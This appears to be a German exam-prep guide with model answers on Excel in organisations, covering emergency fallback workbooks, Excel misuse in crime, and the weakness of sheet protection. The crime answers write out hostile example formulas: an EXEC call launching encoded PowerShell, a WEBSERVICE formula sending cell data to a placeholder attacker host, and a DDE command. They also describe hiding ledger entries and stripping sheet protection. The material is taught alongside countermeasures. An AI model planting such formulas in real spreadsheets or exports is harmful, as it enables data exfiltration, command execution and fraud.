  1. Vorbereitete, aktuelle und wirklich getrennte Daten. Eine Rückfallebene funktioniert nur, wenn die notfallkritischen Stammdaten regelmäßig exportiert und getrennt vom Produktivnetz aufbewahrt werden, denn wer sie erst im Ernstfall aus dem verschlüsselten System holen will, kommt nicht mehr daran. ⟨1⟩ Zur Anforderung gehört zwingend, dass die Wiederherstellung mindestens einmal geprobt wurde, weil ein nie zurückgespieltes Backup im Ernstfall genauso wertlos sein kann wie gar keines. ⟨2⟩

  2. Eine vorgedachte Mappe mit Regeln statt Improvisation. Die Notfallmappe existiert als geprüfte Vorlage mit sauberer Trennung von Eingabe, Berechnung und Ausgabe, mit Datenüberprüfung auf den Eingabefeldern und mit Kontrollsummen, die falsche Zwischenergebnisse sichtbar machen. ⟨3⟩ Für sie ist ein fachlich Verantwortlicher benannt, und ihr Aufbau ist so dokumentiert, dass auch eine eingearbeitete Vertretung sie ohne Rückfragen bedienen kann, denn im Krisenfall arbeiten regelmäßig andere Personen als sonst. ⟨4⟩

  3. Schutz und Nachvollziehbarkeit auch im Notbetrieb. Der Zugriff bleibt auf die befugten Personen beschränkt, der Datenträger ist verschlüsselt, und für sensible Vorgänge wie Zahlungen gilt weiterhin das Vier-Augen-Prinzip, weil eine Ausnahmesituation die Schutzpflichten nicht aufhebt. ⟨5⟩ Ergänzend wird schriftlich festgehalten, wer wann welche Vorgänge erfasst hat, damit die im Notbetrieb entstandenen Daten später überhaupt geprüft und zugeordnet werden können. ⟨6⟩

c) 2 P. – Grenzen des Notbetriebs und Nacharbeit

Excel kann im Notbetrieb weder ein Rollen- und Rechtekonzept noch Transaktionssicherheit, echte Mehrbenutzerfähigkeit oder einen automatischen Abgleich mit anderen Verfahren leisten, weshalb die Rückfallebene bewusst auf wenige, unaufschiebbare Vorgänge zu beschränken ist. ⟨1⟩ Nach der Rückkehr in den Regelbetrieb müssen sämtliche im Notbetrieb erfassten Vorgänge kontrolliert in das Fachverfahren nachgeführt, gegen die Notaufzeichnungen abgeglichen und die Notfallmappen anschließend geordnet gelöscht werden, damit keine zweite Wahrheit im Haus zurückbleibt. ⟨2⟩

Über die geforderten Punkte hinaus

Gegenposition: Die Rückfallebene erhöht selbst das Risiko. Ein offline gehaltener Datenauszug mit Bürger- oder Personaldaten ist ein zusätzliches Ziel und ein zusätzlicher Ort, an dem personenbezogene Daten liegen und geschützt werden müssen. ⟨+1⟩ Wer eine Rückfallebene plant, plant deshalb zugleich deren Umfang, Schutz und Löschung, sonst tauscht er ein Verfügbarkeitsrisiko gegen ein Vertraulichkeitsrisiko. ⟨+2⟩

Grenzfall: Auch Excel-Dateien werden mitverschlüsselt. Ransomware verschlüsselt alles, was vom befallenen System aus erreichbar ist, also auch die Arbeitsmappen auf dem Netzlaufwerk und häufig die dort abgelegten Sicherungen. ⟨+3⟩ Eine Rückfallebene ist deshalb nur dann eine, wenn sie physisch oder logisch getrennt liegt, wofür sich die verbreitete Drei-zwei-eins-Regel eignet: drei Kopien, auf zwei verschiedenen Medien, davon eine außer Haus und offline. ⟨+4⟩

Praxisfalle: Das Provisorium bleibt. Notfallmappen haben eine hohe Überlebensrate, weil sie funktionieren, weil die Beteiligten sie inzwischen kennen und weil nach der Krise niemand Zeit für Aufräumarbeiten hat. ⟨+5⟩ So entsteht aus einer geplanten Ausnahme dauerhafte Schatten-IT, weshalb der Rückbau mit Termin und Verantwortlichem bereits im Notfallkonzept festzulegen ist. ⟨+6⟩

Übungspflicht. Ein Notbetrieb, der nur auf dem Papier existiert, scheitert an banalen Details wie fehlenden Berechtigungen, unbekannten Ablageorten oder einer Vorlage, die niemand öffnen kann. ⟨+7⟩ Deshalb gilt für den Notbetrieb dieselbe Regel wie für das Backup: Was nicht mindestens einmal geprobt wurde, gilt als nicht vorhanden. ⟨+8⟩

Melde- und Dokumentationspflichten im Krisenfall. Sind personenbezogene Daten betroffen, läuft die Meldefrist an die Aufsichtsbehörde nach Artikel 33 DSGVO binnen 72 Stunden ab Kenntnis, und zwar unabhängig davon, ob die IT zu diesem Zeitpunkt wieder arbeitet. ⟨+9⟩ Das Notfallkonzept muss daher auch regeln, wie ohne die üblichen Systeme dokumentiert, bewertet und gemeldet wird, denn die Frist ruht nicht, solange die Verwaltung mit der Wiederherstellung beschäftigt ist. ⟨+10⟩

Rohleders Erwartung: Er erwartet das Dilemma in zwei Sätzen und danach den Sprung von der Beschreibung zur Gestaltung: nicht „Excel half im Notfall", sondern welche Anforderungen eine geplante Rückfallebene erfüllen muss und wo sie endet. Der Rückweg in den Regelbetrieb gehört zwingend dazu, weil sonst aus der Notlösung ein Dauerzustand wird.


📜 Original-Klausuraufgaben aus den Altmeisterklausuren — gelöst

Rohleders eigener Wortlaut aus neun Klausuren 2021–2025. Wortgleiche Wiederholer sind in der Box markiert.

Aufgabe #111 · 6 P. · Excel als Tatwaffe – drei Missbrauchsszenarien · Original-AufgabenstellungAls Tat soll hier vereinfachend ein vorsätzliches oder fahrlässiges Handeln zum Schaden anderer verstanden werden, welches moralisch verwerflich ist und/oder strafrechtliche Relevanz hat. Excel ist in diesem Zusammenhang, wie viele andere Alltagswerkzeuge auch, eine Tatwaffe. Beschreiben Sie drei Szenarien ausführlich, in denen Excel als Tatwaffe missbraucht wird.

Vorbemerkung. Excel eignet sich deshalb als Tatwaffe, weil zwei Umstände zusammentreffen: Der Marktanteil liegt bei mindestens 85 %, sodass fast jedes Opfer eine Excel-Datei ohne Misstrauen öffnet, und die Sicherheitsarchitektur ist offen, weil Excel Formeln automatisch berechnet und eingebetteten Programmcode ausführen kann. Jedes Szenario wird nach demselben Schema beschrieben: Täter, Vorgehen, konkret missbrauchte Excel-Technik und Schaden.

a) 2 P. – Szenario 1: Manipulation von Finanzdaten durch einen Innentäter

⟨1⟩ Der Täter ist ein Mitarbeiter mit legitimem Zugriff auf die Arbeitsmappe, typischerweise aus Buchhaltung, Controlling oder Finanzwesen. Er verändert nicht die Software, sondern die Datei selbst, und er fälscht die Ergebnisse so, dass eine Unterschlagung oder eine geschönte Finanzlage bei oberflächlicher Prüfung nicht auffällt.

⟨2⟩ Die konkret missbrauchte Technik ist das heimliche Verkürzen eines Summenbereichs. Aus der korrekten Formel =SUMME(B2:B19) wird =SUMME(B2:B18); damit fällt die letzte, belastende Buchung aus der Summe heraus, während die Bilanz weiterhin stimmig wirkt. Ergänzend nutzen Täter das benutzerdefinierte Zahlenformat ;;;, das eine Zelle unsichtbar macht, obwohl ihr Wert rechnerisch weiter mitzählt. Der Schaden besteht in Unterschlagung, Bilanzfälschung und Untreue.

Bestandteil für Bestandteil: = leitet jede Excel-Formel ein und weist die Zelle an zu rechnen statt Text anzuzeigen. SUMME ist der Funktionsname und addiert alle Werte des übergebenen Bereichs. ( und ) umschließen das Argument. B2:B19 ist das Bereichsargument, wobei B die Spalte und 2 bzw. 19 die Zeilennummern bezeichnen. : ist der Bereichsoperator und bedeutet „von … bis“.

b) 2 P. – Szenario 2: Verbreitung von Malware über Makros

⟨1⟩ Der Täter ist ein externer Angreifer. Er versieht eine Excel-Datei mit bösartigem Makrocode und versendet sie per E-Mail als scheinbar legitimes Dokument, etwa als „Rechnung“ oder „Lieferschein“. Aktiviert das Opfer nach dem Öffnen die Makros über die Schaltfläche „Inhalt aktivieren“, startet der Schadcode und lädt Schadsoftware nach, beispielsweise den Info-Stealer Agent Tesla.

⟨2⟩ Missbraucht wird die Fähigkeit von Excel, beim Öffnen automatisch Programmcode auszuführen. Das geschieht entweder über ein VBA-Makro im Ereignis Workbook_Open(), das ohne weiteres Zutun anläuft, oder über eine alte Excel-4.0-Makrofunktion direkt in einer Zelle, etwa =EXEC("cmd.exe /c powershell -enc ..."). Dabei ist = der Formelstart, EXEC der Funktionsname einer alten Makrofunktion, die ein externes Programm startet, ( und ) umschließen das Argument, und die doppelten Anführungszeichen " " markieren den auszuführenden Befehl als Text. Der Schaden reicht vom Diebstahl von Zugangsdaten über Ransomware bis zur vollständigen Fernsteuerung des Rechners.

c) 2 P. – Szenario 3: Formel-/CSV-Injection und Datenabfluss

⟨1⟩ Der Täter ist ein Angreifer, der Daten in ein System einschleusen kann, das später als Excel- oder CSV-Datei geöffnet wird, beispielsweise über ein Web-Formular mit Export-Funktion. Er trägt in ein harmloses Textfeld einen Wert ein, der mit einem Formel-Startzeichen beginnt, also mit =, +, - oder @. Beim späteren Öffnen interpretiert Excel diese Zelle nicht als Text, sondern als Formel und führt sie aus, obwohl niemand bewusst eine Formel geschrieben hat.

⟨2⟩ Ein typisches Beispiel für den heimlichen Datenabfluss ist =WEBDIENST("http://angreifer.tld/?x="&A2). Dabei löst = die automatische Ausführung aus, WEBDIENST (englisch WEBSERVICE) ruft eine Internet-Adresse auf, ( und ) umschließen das Argument, "http://angreifer.tld/?x=" ist die als Text markierte Adresse des Angreifers, & ist der Verkettungsoperator und A2 der Zellbezug, dessen Inhalt an die Adresse angehängt wird. Damit verlässt der Zellinhalt unbemerkt das Unternehmen. Verwandte Varianten sind =HYPERLINK(...) und DDE-Befehle wie =cmd|'/c calc.exe'!A1. Der Schaden besteht in der Exfiltration vertraulicher Daten und im DDE-Fall in der Ausführung beliebiger Befehle.

Abschluss. Alle drei Fälle nutzen dieselbe Grundschwäche: Excel führt Inhalte automatisch aus, und Anwender vertrauen Excel-Dateien blind.

Über die geforderten Punkte hinaus

⟨+1⟩ Wiederholungslage. Dasselbe Thema kam am 27.02.2024 als Aufgabe 4 „Tatwaffe Excel“ mit 9 Punkten wieder, dort eingeleitet durch eine echte Pressemeldung vom 23.12.2023 über eine ausgenutzte Excel-Sicherheitslücke. Die 9-Punkte-Fassung verlangt zusätzlich zu jedem Szenario ausdrücklich Täter, Vorgehen und missbrauchte Technik – genau das Schema, das oben schon verwendet wird. Wer die 6-Punkte-Fassung nach diesem Schema lernt, deckt beide Jahrgänge ab.

⟨+2⟩ Gegenmaßnahmen je Szenario nennen, auch wenn sie nicht gefordert sind. Gegen den Innentäter hilft das Vier-Augen-Prinzip in Verbindung mit Blatt- und Zellschutz sowie der Formelüberwachung (Formeln ▸ Spur zum Vorgänger). Gegen Makro-Malware hilft die standardmäßige Deaktivierung von Makros aus dem Internet, die Microsoft seit 2022 erzwingt. Gegen Formel-Injection hilft das Entschärfen exportierter Felder durch ein vorangestelltes Apostroph.

⟨+3⟩ Praxisfalle „fahrlässig statt vorsätzlich“. Die Aufgabenstellung nennt ausdrücklich auch fahrlässiges Handeln. Ein viertes, prüfungsfähiges Szenario ist deshalb der berühmte Kopierfehler mit realem Schaden: Bei JPMorgan („London Whale“, 2012) wurde ein Risikomodell in einer Excel-Mappe durch manuelles Kopieren zwischen Blättern verfälscht, was den Schaden zwar nicht verursachte, aber verschleierte. Ein solches Beispiel zeigt, dass Excel auch ohne kriminelle Absicht schadensstiftend wirkt.

⟨+4⟩ Grenzfall Zahlenformat. Das Format ;;; ist prüfungstechnisch besonders elegant zu erklären, weil ein Excel-Zahlenformat immer vier durch Semikolon getrennte Abschnitte hat: positiv;negativ;null;text. Bleiben alle vier leer, zeigt die Zelle nichts an, obwohl der Wert vorhanden ist und in jede Summe eingeht. Das ist der Unterschied zum Ausblenden von Zeilen, das ein Prüfer sofort am Zeilennummernsprung erkennt.

⟨+5⟩ Verbindung zu anderen Klausurthemen. Szenario 2 verbindet sich direkt mit der Aufgabe „Visual Basic for Applications“ (30.01.2023), in der begründet werden soll, warum Microsoft VBA abschalten möchte – das Sicherheitsrisiko durch ausführbaren Code ist dort Grund 1. Szenario 3 verbindet sich mit den „dynamischen Datenverknüpfungen“, wo DDE ebenfalls als veraltet und sicherheitskritisch bewertet wird.

⟨+6⟩ Punkte-Ökonomie. Rohleder vergibt bei drei geforderten Szenarien je zwei Punkte. Ein viertes Szenario bringt keine Zusatzpunkte, kostet aber Zeit. Wer knapp ist, schreibt drei Szenarien mit je zwei Sätzen zum Vorgehen und einer konkret benannten Technik – die benannte Technik ist der punktetragende Kern, nicht die Länge der Erzählung.

Rohleders Erwartung: Er will drei sauber voneinander getrennte Szenarien mit je einer konkret benannten Excel-Technik, nicht drei Varianten desselben Betrugs. Die Antwort trägt erst, wenn Täter, Vorgehen und missbrauchte Technik jeweils einzeln erkennbar sind.

Aufgabe #112 · 6 P. · Arbeitsmappen per E-Mail zirkulieren · Original-AufgabenstellungErläutern Sie drei verschiedene und wichtige Gründe, warum es unprofessionell ist, Excel-Arbeitsmappen per E-Mail zu zirkulieren.

Kurzantwort. Das Herumschicken von Excel-Arbeitsmappen per E-Mail ist unprofessionell, weil dabei unkontrollierte Versionskopien entstehen, keine Nachvollziehbarkeit von Änderungen gegeben ist und sensible Daten über einen unsicheren Weg verbreitet werden.

a) 2 P. – Grund 1: Versionschaos statt einer verbindlichen Quelle

⟨1⟩ Sobald eine Arbeitsmappe als Anhang verschickt wird, existiert sie mehrfach: das Original beim Absender und je eine Kopie in jedem Postfach der Empfänger. Bearbeiten mehrere Personen ihre jeweils eigene Kopie und schicken sie zurück, gibt es keine eindeutige aktuelle Version mehr.

⟨2⟩ Die Folge ist, dass Änderungen sich gegenseitig überschreiben oder widersprechen, dass auf veralteten Ständen weitergerechnet wird und dass Arbeit verloren geht, wenn zwei Kopien wieder zusammengeführt werden müssen. Es fehlt eine Single Source of Truth, also die eine für alle verbindliche Datei.

b) 2 P. – Grund 2: Keine Nachvollziehbarkeit und keine Revisionssicherheit

⟨1⟩ Eine E-Mail dokumentiert lediglich, dass eine Datei verschickt wurde, nicht aber, wer wann welche Zelle aus welchem Grund geändert hat. Ein durchgehender, prüfbarer Änderungsverlauf existiert nicht.

⟨2⟩ Die Folge ist, dass Fehler nicht bis zu ihrem Ursprung zurückverfolgt werden können und Verantwortlichkeiten nicht belegbar sind. In regulierten Bereichen wie Buchhaltung, Controlling und Wirtschaftsprüfung verstößt das gegen die Anforderungen an Revisionssicherheit und Compliance, weil dort eine lückenlose Historie der Datenänderungen vorgeschrieben ist.

c) 2 P. – Grund 3: Unsicherer Übertragungsweg und Datenschutzrisiko

⟨1⟩ E-Mails werden standardmäßig unverschlüsselt übertragen, und ein einmal versendeter Anhang liegt anschließend dauerhaft auf mehreren Mailservern und in mehreren Postfächern, also außerhalb jeder zentralen Kontrolle. Enthält die Arbeitsmappe personenbezogene oder finanzielle Daten, ist das ein ernsthaftes Risiko.

⟨2⟩ Die Folge ist, dass der Anhang abgefangen, versehentlich an Falsche weitergeleitet oder unkontrolliert kopiert werden kann, und dass sich Zugriffsrechte nachträglich nicht mehr entziehen lassen. Das gefährdet die Vertraulichkeit der Daten und kann einen Verstoß gegen die DSGVO darstellen.

Der professionelle Gegenentwurf. Statt die Datei zu den Leuten zu schicken, bringt man die Leute zur einen Datei: zentrale Ablage mit Co-Authoring über OneDrive, SharePoint oder Teams, Zugriff per Link statt per Anhang, automatischer Versionsverlauf mit Person und Zeitpunkt sowie Zell- und Blattschutz für die Bereiche, die nicht verändert werden dürfen.

Über die geforderten Punkte hinaus

⟨+1⟩ Merksatz für den Schlusssatz. „Nicht die Datei zu den Menschen schicken, sondern die Menschen zur einen Datei bringen – Link statt Anhang.“ Ein solcher Merksatz rundet die Antwort ab und zeigt, dass die drei Gründe auf eine gemeinsame Lösung zulaufen.

⟨+2⟩ Vierter Grund als Reserve. Fällt einer der drei Gründe schwach aus, lässt sich ergänzen, dass parallele Zusammenarbeit unmöglich ist: Immer nur eine Person kann sinnvoll bearbeiten, alle anderen warten. Zusätzlich blähen große Anhänge die Postfächer auf und stoßen an Größenbegrenzungen der Mailserver.

⟨+3⟩ Verbindung zur Sperrdatei. Wer Mappen stattdessen auf ein Netzlaufwerk legt, landet beim Thema der versteckten ~$-Datei (Aufgabe 7 derselben Klausur): Sie verhindert gleichzeitiges Speichern, erlaubt aber kein echtes gleichzeitiges Arbeiten. Erst Co-Authoring in der Cloud löst das Problem tatsächlich.

⟨+4⟩ Grenzfall, in dem der Mailversand vertretbar ist. Ein eingefrorener Berichtsstand, der bewusst nicht mehr verändert werden soll, darf als PDF oder als schreibgeschützte Kopie versendet werden. Der Kritikpunkt betrifft das Zirkulieren zur gemeinsamen Bearbeitung, nicht jede Form der Weitergabe.

⟨+5⟩ DSGVO-Konkretisierung. Nach Artikel 32 DSGVO sind dem Risiko angemessene technische Maßnahmen vorgeschrieben, wozu bei personenbezogenen Daten Transportverschlüsselung und Zugriffskontrolle gehören. Ein unverschlüsselter Anhang mit Gehaltsdaten erfüllt das nicht – diese Konkretisierung hebt die Antwort über das Allgemeine.

⟨+6⟩ Formulierungshinweis. Die Aufgabe verlangt „drei verschiedene und wichtige Gründe“. Versionschaos und fehlende Zusammenarbeit sind nahe beieinander; wer beide als getrennte Gründe nennt, riskiert, dass nur einer gewertet wird. Die sichere Dreiteilung ist Version, Nachvollziehbarkeit, Sicherheit.

Rohleders Erwartung: Er will drei trennscharfe Gründe mit je einer benannten Folge – und im Idealfall den professionellen Gegenentwurf, weil Kritik ohne Alternative in seinem Fach als halbe Antwort gilt.

Aufgabe #113 · 9 P. · Drei gebräuchliche Verbrechensszenarien unter Zuhilfenahme von Excel · Original-Aufgabenstellung⚠️ Wiederholer: Verwandt mit „Excel als Tatwaffe" vom 29.07.2021 (6 P.), aber nicht wortgleich: Dort war die Tat weit definiert und schloss fahrlässiges Handeln ein, hier wird ausdrücklich nach Verbrechen und nach der Sicherheitsarchitektur von Excel gefragt.
(Presseausschnitt im Klausurheft: Meldung vom 23.12.2023, Quelle https://www.kes-informationssicherheit.de/artikel/hacker-nutzen-sicherheitsluecke-in-excel-zur-verbreitung-von-agent-tesla-malware-aus/, zuletzt abgerufen 240220)
Excel spielt häufig eine sehr unrühmliche Rolle, wenn es um Verbrechen geht. Das hat einerseits mit dem Marktanteil von mindestens 85% zu tun, andererseits mit der teilweise problematischen Sicherheitsarchitektur von Excel. Erläutern Sie drei verschiedene, gebräuchliche Szenarien von Verbrechen unter Zuhilfenahme von Excel möglichst präzise.

Szenario 1 – Verbreitung von Schadsoftware über präparierte Arbeitsmappen

Der Angreifer versendet eine Arbeitsmappe als Anhang einer Phishing-Mail, die einen glaubwürdigen geschäftlichen Anlass vortäuscht, etwa eine Rechnung, eine Bestellbestätigung oder eine Gehaltsübersicht. ⟨1⟩ In der Datei steckt entweder ein VBA-Makro, das beim Aktivieren Schadcode nachlädt, oder ein Angriff auf eine bekannte Schwachstelle in Excel selbst, der ohne jedes Makro auskommt – genau dieser Weg wurde in der zugrunde liegenden Meldung zur Verbreitung der Schadsoftware Agent Tesla genutzt. ⟨2⟩ Ziel ist regelmäßig das Ausspähen von Zugangsdaten über einen Tastaturmitschnitt, das Nachladen weiterer Schadsoftware oder die Verschlüsselung der Unternehmensdaten zur Erpressung; strafrechtlich sind das Ausspähen von Daten, Computersabotage und Erpressung einschlägig. ⟨3⟩

Szenario 2 – Manipulation von Zahlen durch einen Innentäter

Eine Mitarbeiterin oder ein Mitarbeiter mit berechtigtem Zugriff auf eine Controlling-, Abrechnungs- oder Zahlungsmappe verändert gezielt einzelne Werte oder, unauffälliger, den Bereichsbezug einer Formel, sodass bestimmte Buchungen aus der Summenbildung herausfallen. ⟨4⟩ Weil Excel weder eine erzwungene Trennung von Eingabe und Rechenlogik noch ein Änderungsprotokoll kennt, hinterlässt ein solcher Eingriff keine Spur: Die Mappe rechnet weiter, meldet nichts und liefert ein Ergebnis, das im erwarteten Wertebereich liegt. ⟨5⟩ Typische Ausprägungen sind das Verschleiern nicht autorisierter Überweisungen, das Frisieren von Umsatz- oder Bestandszahlen gegenüber Geschäftsleitung, Banken oder Investoren sowie das Erstellen gefälschter Rechnungen und Abrechnungen; einschlägig sind Untreue, Betrug und Urkundenfälschung. ⟨6⟩

Szenario 3 – Datendiebstahl durch Export in eine Arbeitsmappe

Nahezu jedes Vorsystem bietet einen Export nach Excel an, und genau dieser Weg wird zur Ausschleusung genutzt: Kundenlisten, Preiskalkulationen, Personal- oder Gesundheitsdaten werden in eine Mappe gezogen und anschließend per E-Mail, über einen privaten Cloud-Speicher oder auf einem USB-Datenträger mitgenommen. ⟨7⟩ Die Datei fällt dabei nicht auf, weil der Export ein alltäglicher, berechtigter Vorgang ist und die entstandene Mappe technisch nicht von hunderten anderen zu unterscheiden ist; einmal exportiert, unterliegt sie keiner Rechtevergabe des Vorsystems mehr. ⟨8⟩ Verwertet werden die Daten typischerweise beim Wechsel zu einem Wettbewerber oder durch Verkauf; einschlägig sind der Verrat von Geschäftsgeheimnissen nach dem Geschäftsgeheimnisgesetz sowie datenschutzrechtliche Verstöße mit Meldepflicht und Bußgeldrisiko. ⟨9⟩

Über die geforderten Punkte hinaus

Warum der Marktanteil selbst ein Risikofaktor ist. Ein Angriff lohnt sich wirtschaftlich erst ab einer bestimmten Zahl erreichbarer Ziele, und bei einem Marktanteil von mindestens 85 Prozent trifft eine einzige funktionierende Excel-Schwachstelle nahezu jedes Unternehmen weltweit. ⟨+1⟩ Hinzu kommt die soziale Komponente: Eine Excel-Datei im Anhang erzeugt keinerlei Misstrauen, weil sie im Büroalltag völlig unauffällig ist, und diese Selbstverständlichkeit ist Teil der Angriffsfläche. ⟨+2⟩

Ein viertes Szenario: Formel- beziehungsweise CSV-Injection. Wird eine CSV-Datei aus einem Webformular in Excel geöffnet, interpretiert Excel jeden Eintrag, der mit =, +, - oder @ beginnt, als Formel; ein Angreifer kann so über ein harmloses Eingabefeld eine Formel in fremde Auswertungen einschleusen. ⟨+3⟩ Damit lassen sich Daten an externe Adressen ausleiten oder Programmaufrufe anstoßen, und der Angriff ist besonders tückisch, weil er ohne Makros funktioniert und die Datei aus einer scheinbar eigenen Quelle stammt. ⟨+4⟩

Die Sicherheitsarchitektur hat sich verändert. Seit 2022 blockiert Microsoft VBA-Makros in Dateien, die aus dem Internet stammen, standardmäßig anhand der Herkunftsmarkierung des Betriebssystems, sodass der klassische Makroweg deutlich schwerer geworden ist. ⟨+5⟩ Die Angreifer sind daraufhin auf andere Träger ausgewichen, etwa auf eingebettete Objekte, Archivdateien oder Verknüpfungsdateien, was zeigt, dass technische Sperren den Angriff verlagern und nicht beenden. ⟨+6⟩

Abgrenzung zur Fassung von 2021. Dort war „Tat" ausdrücklich weit definiert und schloss fahrlässiges Handeln zum Schaden anderer ein, sodass auch die grob nachlässig gebaute, entscheidungsrelevante Mappe als Tatwaffe gelten kann. ⟨+7⟩ In der vorliegenden Fassung ist ausdrücklich von Verbrechen die Rede, weshalb hier Vorsatz und Strafbarkeit im Vordergrund stehen; wer diese Unterscheidung benennt, zeigt, dass er die Aufgabenstellung und nicht nur das Thema gelesen hat. ⟨+8⟩

Die Gegenmaßnahmen in einem Satz. Wirksam sind Trennung von Datenhaltung und Auswertung, Vier-Augen-Prinzip bei zahlungsrelevanten Mappen, restriktive Makro-Einstellungen mit Signaturprüfung, Protokollierung der Exporte aus den Vorsystemen und regelmäßiges Einspielen der Office-Sicherheitsupdates. ⟨+9⟩

Rohleders Erwartung: Er verlangt ausdrücklich Präzision und drei verschiedene Szenarien – Täter, Weg und Schaden müssen je Szenario erkennbar sein, sonst zählt es als Allgemeinplatz. Der Bezug auf den Marktanteil und die Sicherheitsarchitektur ist in der Aufgabenstellung vorgegeben und sollte mindestens einmal ausdrücklich aufgegriffen werden.


🎙️ Aus der Vorlesung gebaut — gelöst

Aufgaben zu Themen, die er in den Aufzeichnungen betont, angedeutet oder live vorgeführt hat. Grün umrandet = kein Original.

Aufgabe #114 · 10 P. · Blattschutz als Scheinschutz: Angriffsweg, Fehlschluss und tragfähige AlternativeEine Sachbearbeiterin schützt das Tabellenblatt einer Arbeitsmappe über die rechte Maustaste auf dem Blattreiter mit einem langen, komplexen Kennwort und entfernt beide Haken bei „Auswählen gesperrter Zellen" und „Auswählen entsperrter Zellen". Anschließend verschickt sie die Mappe mit den Personalkostenplanungen an mehrere Fachbereiche. Im Tabellenblatt ist der Schutz an folgendem Abschnitt der internen Datei `sheet1.xml` erkennbar: `<sheetProtection algorithmName="SHA-512" hashValue="…" saltValue="…" spinCount="100000" …/>`
a) (2 P.) Erläutern Sie, warum sich eine Arbeitsmappe im Format .xlsx überhaupt mit einem gewöhnlichen Packprogramm öffnen und im Inneren lesen lässt.
b) (4 P.) Erläutern Sie zwei verschiedene Gründe, weshalb der Blattschutz trotz des Verfahrens SHA-512 keinen Schutz der Inhalte bewirkt.
c) (4 P.) Versetzen Sie sich in die Rolle der zuständigen Führungskraft. Erläutern Sie zwei Maßnahmen, die statt des Blattschutzes tatsächlich wirken, und grenzen Sie sie gegeneinander ab.

a) 2 P. – Warum das Innenleben offenliegt

Das aktuelle Dateiformat von Excel ist kein geschlossenes Binärformat, sondern eine Sammlung von XML-Dateien in einem ZIP-Container, weshalb ein Umbenennen der Endung von .xlsx in .zip genügt, um das Archiv mit jedem beliebigen Packprogramm zu öffnen. ⟨1⟩ Im Verzeichnis xl/worksheets liegt je Tabellenblatt eine Datei sheet1.xml, sheet2.xml und so fort, die den vollständigen Blattinhalt mit Zeilen, Spalten, Werten und Formatverweisen in menschenlesbarer Auszeichnungssprache enthält; die Komprimierung dient allein der Dateigröße und nicht der Geheimhaltung. ⟨2⟩

b) 4 P. – Zwei Gründe für die Wirkungslosigkeit

  1. Geschützt wird das Kennwort, nicht das Blatt. Der Hashwert samt Salt und Iterationszahl sichert lediglich, dass das eingegebene Kennwort nicht im Klartext in der Datei steht und nicht ohne Weiteres zurückgerechnet werden kann. ⟨1⟩ Der Blattinhalt selbst bleibt unverschlüsselt daneben liegen, und der gesamte sheetProtection-Abschnitt lässt sich mit der Entfernen-Taste löschen und die Datei anschließend zurückschreiben; damit ist der Schutz aufgehoben, ohne dass das Kennwort jemals gebrochen werden musste. ⟨2⟩

  2. Der Angriff erfordert weder Spezialwissen noch Spezialsoftware. Der Ablauf steht in Blogs und auf einschlägigen YouTube-Kanälen frei verfügbar; Rohleder verweist ausdrücklich auf einen Excel-MVP mit einem Beitrag zum Entfernen aller sechs Kennworttypen. ⟨3⟩ Da der Vorgang auf jedem Rechner in unter einer Minute durchführbar ist, taugt der Blattschutz nicht einmal als Zeitbremse gegen einen entschlossenen Empfänger, sondern nur als Schutz gegen die versehentliche Änderung durch einen gutwilligen Anwender. ⟨4⟩

c) 4 P. – Zwei tatsächlich wirksame Maßnahmen

  1. Vertraulichkeit über eine echte Verschlüsselung des Containers herstellen. Die Mappe wird vor dem Versand in ein Archiv mit AES-256 gepackt, wobei zusätzlich die Option zur Verschlüsselung der Dateinamen zu setzen ist, weil das Dateinamenverzeichnis eines gewöhnlichen ZIP-Archivs unverschlüsselt bleibt. ⟨1⟩ Das Kennwort muss auf einem anderen Weg als die Datei selbst übermittelt werden, sonst reist der Schlüssel neben dem Schloss und die Maßnahme verpufft. ⟨2⟩

  2. Vertraulichkeit organisatorisch lösen, statt sie in die Datei zu verlagern. Personalkostendaten gehören in eine Ablage mit Rechtesystem und Protokollierung, aus der die Empfänger die für sie bestimmten Auswertungen ziehen, statt als Anhang zu zirkulieren, dessen weiteren Weg niemand mehr kontrolliert. ⟨3⟩ Der Blattschutz behält daneben eine legitime, aber ganz andere Aufgabe: Er verhindert das versehentliche Überschreiben von Formelzellen und ist dafür sogar besser ohne Kennwort einzusetzen, weil ein Kennwort eine Sicherheit vortäuscht, die es nicht gibt. ⟨4⟩

Über die geforderten Punkte hinaus

Die saubere Begriffstrennung, die Rohleder erwartet. Zu unterscheiden sind Integritätsschutz gegen Versehen, Vertraulichkeitsschutz gegen Einsichtnahme und Authentizitätsschutz gegen Fälschung; der Blattschutz leistet ausschließlich das Erste. ⟨+1⟩ Wer diese drei Ebenen in der Antwort benennt, erklärt zugleich, warum der Fehlschluss so verbreitet ist: Die Bezeichnung „Schutz" und die Kennwortabfrage suggerieren alle drei Ebenen, geliefert wird nur eine. ⟨+2⟩

Reparaturnutzen desselben Wissens. Weil eine Arbeitsmappe ein ZIP-Archiv ist, lässt sich eine nicht mehr zu öffnende Datei manchmal retten, indem man sie entpackt und ein einzelnes beschädigtes Blatt entfernt. ⟨+3⟩ Rohleder ordnet das ausdrücklich als Ausnahmefall ein, weil beschädigte Mappen seit der Umstellung auf 64 Bit selten geworden sind und die letzten Fälle bei ihm auf Hardwareprobleme während des Speicherns zurückgingen. ⟨+4⟩

Der Sonderfall Arbeitsmappenschutz und Dateikennwort. Neben dem Blattschutz kennt Excel den Schutz der Arbeitsmappenstruktur und das Öffnungskennwort der Datei; nur das Öffnungskennwort verschlüsselt tatsächlich den Inhalt. ⟨+5⟩ Auch dort bleibt aber die Frage der Schlüsselverwaltung offen, und Rohleder ordnet die Excel-eigene Verschlüsselung als Erzeugerin einer „Illusion von Schutz" ein, weil sie in der Praxis mit schwachen, geteilten oder notierten Kennwörtern betrieben wird. ⟨+6⟩

Vertrauensfrage beim Werkzeug selbst. Das im Unterricht verwendete Packprogramm ist nicht quelloffen, und Rohleder stellt offen die Frage, was dessen Entwickler täte, wenn eine Behörde eine Hintertür verlangte. ⟨+7⟩ Seine Schlussfolgerung ist keine Entwarnung, sondern eine Zuständigkeitsverschiebung: Nur bei quelloffener Software kann eine Fachöffentlichkeit prüfen, ob das ausgelieferte Programm dem Quelltext entspricht, und diese Entscheidung ist eine Frage der Unternehmenskultur. ⟨+8⟩

Warum der Fall trotzdem nicht Excel anzulasten ist. Die Mappe war nie als vertraulicher Transportbehälter gedacht, und die Kennwortabfrage erhebt diesen Anspruch auch nicht; das Missverständnis entsteht beim Anwender. ⟨+9⟩ Ein sauberes Urteil in der Klausur benennt daher das Produktversprechen, den daraus abgeleiteten Fehlschluss und die daraus folgende Verantwortung der Organisation, statt sich auf eine Anklage gegen den Hersteller zu beschränken. ⟨+10⟩

